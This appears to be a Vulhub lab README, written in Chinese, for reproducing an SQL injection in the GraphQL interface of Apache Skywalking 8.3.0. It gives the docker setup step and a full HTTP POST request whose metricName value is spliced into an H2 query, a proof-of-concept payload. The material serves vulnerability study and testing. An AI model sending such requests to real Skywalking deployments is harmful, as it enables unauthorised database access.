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vulhub/skywalking/8.3.0-sqli/README.zh-cn.md
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Apache Skywalking 8.3.0 SQL注入漏洞

Apache Skywalking是一款针对分布式系统的应用程序性能监视工具为微服务云原生和基于容器DockerKubernetesMesos的体系结构而设计。

在Apache Skywalking 8.3.0版本及以前的GraphQL接口中存在一处H2 Database SQL注入漏洞。

参考链接:

漏洞环境

执行如下命令启动一个Apache Skywalking 8.3.0版本:

docker compose up -d

环境启动后,访问http://your-ip:8080即可查看Skywalking的页面。

漏洞复现

我们使用graphiql的桌面APP发送如下graphql查询

可见SQL语句已经出错metricName参数的值被拼接到from后面。

这个请求的HTTP数据包为

POST /graphql HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336

{
    "query":"query queryLogs($condition: LogQueryCondition) {
  queryLogs(condition: $condition) {
    total
    logs {
      serviceId
      serviceName
      isError
      content
    }
  }
}
",
    "variables":{
        "condition":{
            "metricName":"sqli",
            "state":"ALL",
            "paging":{
                "pageSize":10
            }
        }
    }
}

更加深入的利用大家可以自行研究并欢迎将文档提交到Vulhub中。